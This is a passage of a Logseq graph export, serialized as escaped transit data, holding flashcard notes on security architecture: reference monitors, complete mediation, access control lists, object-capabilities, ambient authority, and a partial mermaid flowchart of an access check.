Manifest]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Flogseq____&quot;,34,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Vlogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Hlogseq____&quot;,28,536873233]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-d123-4c64-af34-59c9559adbf8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;access controllogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^11logseq____&quot;,logseq____&quot;Access Controllogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^Blogseq____&quot;,1740129291432,536871364]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-740a-4592-bf5d-f5137604c583logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^Klogseq____&quot;,1740128172064,536870916]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870920]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^11logseq____&quot;,logseq____&quot;security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^Blogseq____&quot;,1740128172064,536870916]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d4-406e-4a81-bc60-16ed87f0654dlogseq____&quot;,536874672]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*object-centered* approach: associate objects with list of subjects and their access rightslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Flogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Vlogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-86b8-41c8-9dd4-c79aac51d247logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;System can authenticate the userlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Flogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Vlogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-86ab-468b-8638-cb455021afeelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Reference Monitor #card #security-architecture\\nid:: 67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Flogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Vlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:idlogseq____&quot;,logseq____&quot;67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Object*: Passive entity that is being accessed, e.g., filelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Flogseq____&quot;,52,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Vlogseq____&quot;,49,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-f244-4162-b609-47ff518d9d86logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Principal*: Authenticated entity, e.g., userlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Flogseq____&quot;,49,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Vlogseq____&quot;,49,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-f332-4cad-bb3a-58e73f52c80alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Authority* that is *implicitly* used by a subjectlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Flogseq____&quot;,60,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Vlogseq____&quot;,60,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Ulogseq____&quot;,2,536871284]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Ulogseq____&quot;,37,536871284]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Ulogseq____&quot;,38,536871284]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-ba72-4414-9e61-cf8bd6826561logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Pass access requests through a reference monitorlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Flogseq____&quot;,40,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Vlogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-09bd-4b97-8644-25ef01db3493logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[*Complete Mediation*](((67b741ff-7f35-4293-bea7-c137d36a2b77))): Monitor must not be bypassedlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Flogseq____&quot;,51,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Vlogseq____&quot;,51,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Hlogseq____&quot;,54,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-deb3-46c4-8555-ede86b6e7ceflogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Protection domain* defined as set of capabilitieslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Flogseq____&quot;,55,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Vlogseq____&quot;,58,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Ulogseq____&quot;,2,536870924]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Ulogseq____&quot;,37,536870924]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Ulogseq____&quot;,38,536870924]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-38bd-443f-9226-615738611fc6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Verifiable*: Provided security goals must be verifiablelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Flogseq____&quot;,61,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Vlogseq____&quot;,51,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-8d93-4db0-8d69-f2d1c760ff3flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Terminology #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Flogseq____&quot;,59,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Vlogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-0e27-4a82-afad-a670114dac04logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Hard to determine all accessible objects of a particular subjectlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Flogseq____&quot;,56,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Vlogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-a879-427a-9859-318e5c6d793elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Properties #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Flogseq____&quot;,49,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Vlogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-5dcf-4613-9f67-3a8896156700logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Subject*: Active entity acting on principals behalf, e.g., process running under userlogseq____&apos;s identitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Flogseq____&quot;,43,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Vlogseq____&quot;,49,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-c08a-484b-8412-c24d1442fda3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;usually implemented via *object references*, e.g., file descriptors (can, thus, be delegated to other processes if policy allows it)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Flogseq____&quot;,63,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Vlogseq____&quot;,58,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Ulogseq____&quot;,2,536870924]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Ulogseq____&quot;,37,536870924]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Ulogseq____&quot;,38,536870924]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-609c-4414-9ea2-7f5463994cf5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Complete Mediation\\nid:: 67b741ff-7f35-4293-bea7-c137d36a2b77logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Flogseq____&quot;,228,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b741ff-7f35-4293-bea7-c137d36a2b77logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874675]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536874675]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b741ff-7f35-4293-bea7-c137d36a2b77logseq____&quot;],536874675]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b741ff-7f35-4293-bea7-c137d36a2b77logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[Reference monitor]((67b75a09-cf78-4ea2-aee5-d3adb4d9802d)) checks token (removes knowledge about identities and [ambient authority]((67b7665b-d447-4148-968c-5e162ec8c3fc))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Flogseq____&quot;,53,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Vlogseq____&quot;,58,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Ulogseq____&quot;,2,536870924]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Ulogseq____&quot;,37,536870924]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Ulogseq____&quot;,38,536870924]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-3a21-4db7-a064-7cf12ad59ea9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Relies on *authentication* and [ambient authority]((67b7665b-d447-4148-968c-5e162ec8c3fc))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Flogseq____&quot;,62,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Vlogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-5117-4a2d-bec2-89e4364e6ef9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## ACL(Access Control List) #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Flogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Vlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-08c4-41ff-9a55-2383ed229de1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Object-Capabilities #card #security-architecturelogseq____&quot;,536870923]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Flogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Vlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870923]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536870923]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Hlogseq____&quot;,2,536870923]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Hlogseq____&quot;,38,536870923]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-1843-422b-a7ee-edcaead07ce4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nflowchart LR\\n S((Subjectlogseq____&lt;brlogseq____&gt;e.g. User Process))\\n D{\\logseq____&quot;Reference Monitorlogseq____&lt;brlogseq____&gt;(Authorized?)\\logseq____&quot;}\\n O((Objectlogseq____&lt;brlogseq____&gt;e.g. File or Resource))\\n SP([Security Policy])\\n\\n S -- \\logseq____&quot;access request\\logseq____&quot; --logseq____&gt; D\\n SP --logseq____&gt; D\\n D -- \\logseq____&quot;If authorized\\logseq____&quot; --logseq____&gt; O\\n D -- \\logseq____&quot;If not authorized\\logseq____&quot; --logseq____&gt; X(Access 